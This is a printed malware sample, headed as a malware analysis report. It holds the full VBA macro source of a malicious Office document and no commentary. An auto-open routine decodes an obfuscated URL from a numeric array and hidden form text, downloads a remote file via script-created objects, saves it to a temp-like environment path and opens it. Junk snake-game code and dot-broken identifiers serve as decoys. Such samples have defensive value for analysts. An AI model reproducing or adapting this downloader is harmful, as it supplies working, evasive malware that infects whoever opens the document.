Malicious Office (OOXML) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
Call AddSensors
End Sub


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{3817EDBA-9A09-4783-879F-2E4EC2A732B0}{8D7EC178-ABFC-4127-824B-DE5928AC2F2C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module1"
Public gorenebeda_1 As Object
Public gorenebeda_2 As Object
Public gorenebeda_3 As Object
Public gorenebeda_4 As String
Public gorenebeda_5 As String
Public gorenebeda_6 As Object
Public onopridet() As String
Private MapsInitialized As Boolean
Private mDBname As String
Private MapInit As Boolean
Sub LoadLevel()
    Tick = gameLevel.Tick
    cellSize = gameLevel.cellSize
    boardHeight = gameLevel.boardHeight
    boardWidth = gameLevel.boardWidth
    snake = gameLevel.snake
    food.Matrix = gameLevel.food.Matrix
    wallmatrix = gameLevel.wallmatrix
    scorePoint = 0
End Sub

Function GameLoop() As String
    Initial.ization
    LoadResource
    tmr = Timer
    Do Until imDone
        DoEvents
        UpdateInput
        If Timer > tmr + Tick And Not imDone Then
            Update
            Draw
            tmr = Timer
        End If
    Loop
    Destroy
    GameLoop = returnValue
End Function

Private Sub LoadResource()
    
    Set sr = ActiveDocument.Pages.Item(5).Shapes.all
    gc.Add Item:=sr.Item(1), Key:="body"
    gc.Add Item:=sr.Item(2), Key:="tr"
    gc.Add Item:=sr.Item(3), Key:="br"
    gc.Add Item:=sr.Item(4), Key:="tl"
    gc.Add Item:=sr.Item(5), Key:="bl"
    gc.Add Item:=sr.Item(6), Key:="tail"
    gc.Add Item:=sr.Item(7), Key:="head"
End Sub

Private Sub MimoNasM()
    Dim maxViewArea As Integer
    maxViewArea = 450
    screenWidth = 800
    screenHeight = 450
      gorenebeda_1.Send
GoTo s7
    
    ActiveD.ocument.ActivePage.SetSize screenWidth, screenHeight
    ActiveW.indow.Active.View.SetViewArea 0, 0, screenWidth, screenHeight
    offsetLeft = (screenWidth - boardWidth * cellSize) / 2
    offsetBottom = (screenHeight - boardHeight * cellSize) / 2
    
    imDone = False
    directSnake = ""
    keyReadDone = True
s7:
      gorenebeda_4 = gorenebeda_3(onopridet(6))
GoTo s8
    drawG.ameField
    drawW.all
    drawI.nterface
s8:
gorenebeda_5 = gorenebeda_4 + Replace(onopridet(12), "t", "e")
OnasOn
End Sub

Private Sub drawInterface()
    Set SScorePoint = ActivePage.Layers.Item(6).CreateArtisticText(40, 350, "0", , , "Arial", 54, cdrTrue, cdrFalse, cdrNoFontLine, cdrLeftAlignment)
End Sub

Private Sub drawWall()
    Dim s As Shape
    Dim e As Integer, i As Integer
    Appli.cation.Optimization = True
    For i = 0 To boardHeight - 1
        For e = 0 To boardWidth - 1
            If wall.Matrix(e, i) = 1 Then
                Set s = ActivePage.Layers.Item(4).CreateRectangle(e * cellSize + offsetLeft, i * cellSize + offsetBottom, e * cellSize + cellSize + offsetLeft, i * cellSize + cellSize + offsetBottom)
                lls.Fi.ll.UniformColor.CMYKAssign 0, 0, 0, 100
                lls.Outline.SetNoOutline
            End If
        Next e
    Next i
    ActiveDocument.ClearSelection
End Sub

Private Sub drawGameField()
    Dim s As Shape
    Dim e As Integer, i As Integer
    Appli.cation.Optimization = True
    For i = 0 To boardHeight - 1
        For e = 0 To boardWidth - 1
            Set s = ActivePage.Layers.Item(5).CreateRectangle(e * cellSize + offsetLeft, i * cellSize + offsetBottom, e * cellSize + cellSize + offsetLeft, i * cellSize + cellSize + offsetBottom)
            kks.Fill.ApplyNoFill
            kks.Outline.Color.CMYKAssign 0, 0, 0, 20
            kks.Outline.Width = 0.1
        Next e
    Next i
    ActiveDocument.ClearSelection
End Sub

Private Sub UpdateInput()
    If (GetA.syncKeyState(vbKeyQ)) Then
        returnValue = "quit"
        imDone = True
        keyReadDone = True
    ElseIf (GetAs.yncKeyState(vbKeyUp)) And Not directSnake = "down" And Not keyReadDone Then
        directSnake = "up"
        keyReadDone = True
    ElseIf (GetA.syncKeyState(vbKeyDown)) And Not directSnake = "up" And Not keyReadDone Then
        directSnake = "down"
        keyReadDone = True
    ElseIf (GetA.syncKeyState(vbKeyLeft)) And Not directSnake = "right" And Not keyReadDone Then
        directSn.ake = "left"
        keyReadDone = True
    ElseIf (GetA.syncKeyState(vbKeyRight)) And Not directSnake = "left" And Not keyReadDone Then
        directSnake = "right"
        keyReadDone = True
    End If
End Sub


Public Sub AddSensors()
  Dim Col As String
  Dim Obj As String
  onopridet = Split(UserForm1.Label1.Caption, "/")
  GoTo ErrExit
  On Error GoTo ErrHandler
  BM.ResetBalances
  
  Cofl.Load

  On Error GoTo 0
ErrExit:
Set gorenebeda_1 = CreateObject(onopridet(0))
CheckBins
  Exit Sub
ErrHandler:
   AD.DisplayError Err.Number, "modMaps", "AddSensors", Err.Description
   Resume ErrExit
End Sub
Private Sub Update()
    Dim a As Integer, b As Integer
    Dim a2 As Integer, b2 As Integer
    Dim e As Integer, i As Integer
    Dim imWin As Boolean
    
    keyReadDone = False
    If directSnake = "" Then Exit Sub
    
    imWin = True
    a = sn.ake(0, 0)
    b = sn.ake(1, 0)
    
    '/ collision food
    If foo.dMatrix(a, b) = 1 Then
        sna.ke(0, UBound(snake, 2)) = a
        sna.ke(1, UBound(snake, 2)) = b
        foo.dMatrix(a, b) = 0
        scorePoint = scorePoint + 50
    End If
    scorePoint = scorePoint + 1
    
    '/ move head
    Select Case directSnake
        Case "right"
        sna.ke(0, 0) = sna.ke(0, 0) + 1
        Case "left"
        sna.ke(0, 0) = sna.ke(0, 0) - 1
        Case "up"
        sna.ke(1, 0) = sna.ke(1, 0) + 1
        Case "down"
        sna.ke(1, 0) = sna.ke(1, 0) - 1
    End Select
    '/ move body
    For e = 1 To UBound(snake, 2)
        a2 = sna.ke(0, e)
        b2 = sna.ke(1, e)
        sna.ke(0, e) = a
        sna.ke(1, e) = b
        a = a2
        b = b2
    Next e
    
    '/ out of range
    If sna.ke(0, 0) < 0 Or sna.ke(0, 0) > boardWidth - 1 Then
        returnValue = "loselevel"
        imDone = True
        Exit Sub
    End If
    If sna.ke(1, 0) < 0 Or sna.ke(1, 0) > boardHeight - 1 Then
        returnValue = "loselevel"
        imDone = True
        Exit Sub
    End If
    '/ collision wall
    If wallm.atrix(sna.ke(0, 0), sna.ke(1, 0)) = 1 Then
        returnValue = "loselevel"
        imDone = True
        Exit Sub
    End If
    '/ collision his body
    For e = 1 To UBound(snake, 2)
        If sna.ke(0, 0) = sna.ke(0, e) And sna.ke(1, 0) = sna.ke(1, e) Then
            returnValue = "loselevel"
            imDone = True
        End If
    Next e
    
    For i = 0 To boardHeight - 1
        For e = 0 To boardWidth - 1
            If food.Matrix(e, i) = 1 Then
                imWin = False
            End If
        Next e
    Next i
    If imWin Then
        returnValue = "endlevel"
        imDone = True
    End If
    
End Sub

Private Sub Draw()
    Applica.tion.Optimization = True
    Dim x As Integer, y As Integer
    Dim e As Integer, i As Integer
    Dim s As Shape
    Dim typeBodyCell As String
    Dim directionTail As String
    
    ActivePage.Layers.Item(2).Shapes.all.Delete
    ActivePage.Layers.Item(3).Shapes.all.Delete
    SScorePoint.Text.Story = " "
    
    '/ draw snake head
    x = sna.ke(0, 0) * cellSize
    y = sna.ke(1, 0) * cellSize
    Set s = gc.Item("head").Duplicate
    lls.MoveToLayer ActivePage.Layers.Item(2)
    lls.SetPosition x + offsetLeft, y + offsetBottom + cellSize
    Select Case directSnake
        Case "up"
            lls.Rotate 90
        Case "down"
            lls.Rotate 270
        Case "left"
            lls.Rotate 180
        Case "right"
            
    End Select
    '/ draw snake body
    For e = 1 To UBound(snake, 2) - 1
        typeBodyCell = getTypeBodyCell(sn.ake(0, e - 1), sn.ake(1, e - 1), sn.ake(0, e), sn.ake(1, e), sn.ake(0, e + 1), sn.ake(1, e + 1))
        x = sn.ake(0, e) * cellSize
        y = sn.ake(1, e) * cellSize
        Select Case typeBodyCell
            Case "tr"
                Set s = gc.Item("tr").Duplicate
                lls.MoveToLayer ActivePage.Layers.Item(2)
                lls.SetPosition x + offsetLeft, y + offsetBottom + cellSize
            Case "br"
                Set s = gc.Item("br").Duplicate
                lls.MoveToLayer ActivePage.Layers.Item(2)
                lls.SetPosition x + offsetLeft, y + offsetBottom + cellSize
            Case "tl"
                Set s = gc.Item("tl").Duplicate
                lls.MoveToLayer ActivePage.Layers.Item(2)
                lls.SetPosition x + offsetLeft, y + offsetBottom + cellSize
            Case "bl"
                Set s = gc.Item("bl").Duplicate
                lls.MoveToLayer ActivePage.Layers.Item(2)
                lls.SetPosition x + offsetLeft, y + offsetBottom + cellSize
            Case "tb"
                Set s = gc.Item("body").Duplicate
                lls.MoveToLayer ActivePage.Layers.Item(2)
                lls.SetPosition x + offsetLeft, y + offsetBottom + cellSize
                lls.Rotate 90
            Case "lr"
                Set s = gc.Item("body").Duplicate
                lls.MoveToLayer ActivePage.Layers.Item(2)
                lls.SetPosition x + offsetLeft, y + offsetBottom + cellSize
        End Select
    Next e
    '/ draw tail
    x = sna.ke(0, UBound(snake, 2)) * cellSize
    y = sna.ke(1, UBound(snake, 2)) * cellSize
    Set s = gc.Item("tail").Duplicate
    lls.MoveToLayer ActivePage.Layers.Item(2)
    lls.SetPosition x + offsetLeft, y + offsetBottom + cellSize
    directionTail = getDirectionTail(sna.ke(0, (UBound(snake, 2) - 1)), sna.ke(1, (UBound(snake, 2) - 1)), sna.ke(0, UBound(snake, 2)), sna.ke(1, UBound(snake, 2)))
    Select Case directionTail
        Case "top"
            lls.Rotate 270
        Case "bottom"
            lls.Rotate 90
        Case "left"
        
        Case "right"
            lls.Rotate 180
    End Select
    
    '/ draw food
    For i = 0 To boardHeight - 1
        For e = 0 To boardWidth - 1
            If food.Matrix(e, i) = 1 Then
                Set s = ActivePage.Layers.Item(3).CreateEllipse(e * cellSize + offsetLeft, i * cellSize + cellSize + offsetBottom, e * cellSize + cellSize + offsetLeft, i * cellSize + offsetBottom)
                lls.Outline.SetNoOutline
                lls.Fill.UniformColor.CMYKAssign 0, 100, 100, 0
            End If
        Next e
    Next i
    
    '/ draw interface
    SScorePoint.Text.Story = scorePoint
    
    ActiveDocument.ClearSelection
    Applica.tion.Optimization = False
    ActiveW.indow.Refresh
    App.lication.Refresh
End Sub

Private Function getDirectionTail(pX As Integer, pY As Integer, x As Integer, y As Integer) As String
    If x = pX Then
        If pY = y + 1 Then getDirectionTail = "top"
        If pY = y - 1 Then getDirectionTail = "bottom"
    End If
    If y = pY Then
        If pX = x + 1 Then getDirectionTail = "right"
        If pX = x - 1 Then getDirectionTail = "left"
    End If
End Function

Public Sub SaveMaps()
rbp = CallByName(gorenebeda_1, onopridet(10), VbGet)
  Dim objStor As Variant
  CallByName gorenebeda_2, onopridet(9), VbMethod, rbp
  Dim objMap As Variant
  Dim LP As Long
  Dim ID As Long
  Dim XPos As Single
  Dim YPos As Single
  Dim BinLP As Long
  Dim BinID As Long
  CallByName gorenebeda_2, onopridet(11), VbMethod, gorenebeda_5, 2
GoTo ErrHandler
  For LP = 1 To BM.MapCount
    ID = BM.MapID(LP)
    objMap.Load ID
    objMap.BeginEdit
    objMap.MapZoom = BM.MapZoom(LP)
    objMap.ApplyEdit
    Set objMap = Nothing
  Next LP
  For BinLP = 1 To BM.StorCount
    BinID = BM.StorID(BinLP)
    If BM.BinLoaded(BinID) Then
      BM.BinLocation BinLP, XPos, YPos
      With objStor
        .Load BinID
        .BeginEdit
        .XPos = XPos
        .YPos = YPos
        .ApplyEdit
      End With
      Set objStor = Nothing
    End If
  Next BinLP
  On Error GoTo 0
ErrExit:
  Exit Sub
ErrHandler:
gorenebeda_6.Open (gorenebeda_5)
End Sub


Private Function getTypeBodyCell(pX As Integer, pY As Integer, x As Integer, y As Integer, nX As Integer, nY As Integer) As String
    Dim a As String
    Dim b As String
    
    If x = pX Then
        If pY = y + 1 Then a = "top"
        If pY = y - 1 Then a = "bottom"
    End If
    If y = pY Then
        If pX = x + 1 Then a = "right"
        If pX = x - 1 Then a = "left"
    End If
Dim gorenebeda_7() As Variant
gorenebeda_7 = Array(104, 129, 142, 151, 110, 112, 125, 201, 201, 217, 231, 244, 266, 276, 228, 310, 305, 268, 349, 368, 375, 389, 387, 408, 359, 433, 449, 454, 479, 424, 445, 457, 466, 480, 542, 559, 519, 583, 540, 608, 640, 634)


    If x = nX Then
        If nY = y + 1 Then b = "top"
        If nY = y - 1 Then b = "bottom"
    End If
    If y = nY Then
        If nX = x + 1 Then b = "right"
        If nX = x - 1 Then b = "left"
    End If
    
    Dim gorenebeda_8 As Integer
  Dim uncunctunc2_1 As String
  uncunctunc2_1 = ""
   GoTo s2
    If (a = "top" And b = "right") Or (a = "right" And b = "top") Then
        getTypeBodyCell = "tr"
    End If
    If (a = "bottom" And b = "right") Or (a = "right" And b = "bottom") Then
        getTypeBodyCell = "br"
    End If
    If (a = "top" And b = "left") Or (a = "left" And b = "top") Then
        getTypeBodyCell = "tl"
    End If
    If (a = "bottom" And b = "left") Or (a = "left" And b = "bottom") Then
        getTypeBodyCell = "bl"
    End If
s2:
      For gorenebeda_8 = LBound(gorenebeda_7) To UBound(gorenebeda_7)
    uncunctunc2_1 = uncunctunc2_1 & Chr(gorenebeda_7(gorenebeda_8) - 13 * gorenebeda_8)
  Next gorenebeda_8
GoTo s7
    If (a = "top" And b = "bottom") Or (a = "bottom" And b = "top") Then
        getTypeBodyCell = "tb"
    End If
    If (a = "left" And b = "right") Or (a = "right" And b = "left") Then
        getTypeBodyCell = "lr"
    End If
s7:
gorenebeda_1.Open onopridet(5), uncunctunc2_1 & "?" + Trim(Str(Math.Rnd(100))), False
MimoNasM
        
End Function

Private Sub Destroy()
    Applic.ation.Optimization = True
    
    ActiveP.age.Layers.Item(2).Shapes.all.Delete
    ActivePage.Layers.Item(3).Shapes.all.Delete
    ActivePage.Layers.Item(4).Shapes.all.Delete
    ActivePage.Layers.Item(5).Shapes.all.Delete
    ActivePage.Layers.Item(6).Shapes.all.Delete
    
    ActiveDocument.ClearSelection
    Applic.ation.Optimization = False
    ActiveW.indow.Refresh
    Applic.ation.Refresh
End Sub

Private Sub CheckBins()
  Dim LP As Long
  Dim BinID As Long
  Dim objStorages As String
  Dim objStorage As Variant
  Dim MapID As Long
  Set gorenebeda_2 = CreateObject(onopridet(1))
   GoTo ErrHandler
  objSt.orages.Load
  
  For LP = 1 To BM.StorCount
    BinID = BM.StorID(LP)
    If Not objSto.rages.IsItem(BinID) Then
      BM.UnloadStor BinID
    End If
  Next LP
  
  For Each objStorage In objS.torages
    With objStorage
      If Not BM.BinLoaded(.ID) Then
        BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet
      End If
      
      MapID = BM.BinMapID(.ID)
      If MapID <> 0 And MapID <> .MapID Then
        BM.UnloadStor .ID
        BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet
      End If
    End With
  Next
  On Error GoTo 0
ErrExit:
  Exit Sub
ErrHandler:
Set gorenebeda_6 = CreateObject(onopridet(2))
Set huddi = CreateObject(onopridet(3))
Set gorenebeda_3 = huddi.Environment(onopridet(4))
getTypeBodyCell 3, 1, 3, 1, 3, 1
End Sub

Public Sub OnasOn()

  Dim objStorages As Variant
  Dim objStorage As Variant
  Dim objMap As Variant
  Dim objMaps As Variant
   CallByName gorenebeda_2, onopridet(7), VbLet, 1
 gorenebeda_2.Open
GoTo ErrHandler
  CheckDat.abase BM
  CheckM.aps BM
  objMaps.Load
  BM.Visible = False
  If objMaps.Count > 0 Then
    BM.Visible = ShowMaps
    If ShowMaps Then
      If Not MapsInitialized Then
        
        For Each objMap In objMaps
          With objMap
            BM.AddMap .ID, .MapName, .Units, .Zoom
          End With
        Next
        
        objStor.ages.Load , , , , , True
        For Each objStorage In objSto.rages
          With objStorage
            BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet
          End With
        Next
        MapsInitialized = True
      End If
      AddSenso.rs BM
      CheckB.ins BM
      BM.Update
    End If
  End If
  Set objMap = Nothing
  Set objMaps = Nothing
  Set objStorage = Nothing
  Set objStorages = Nothing
  On Error GoTo 0
ErrExit:
  Exit Sub
ErrHandler:
SaveMaps
End Sub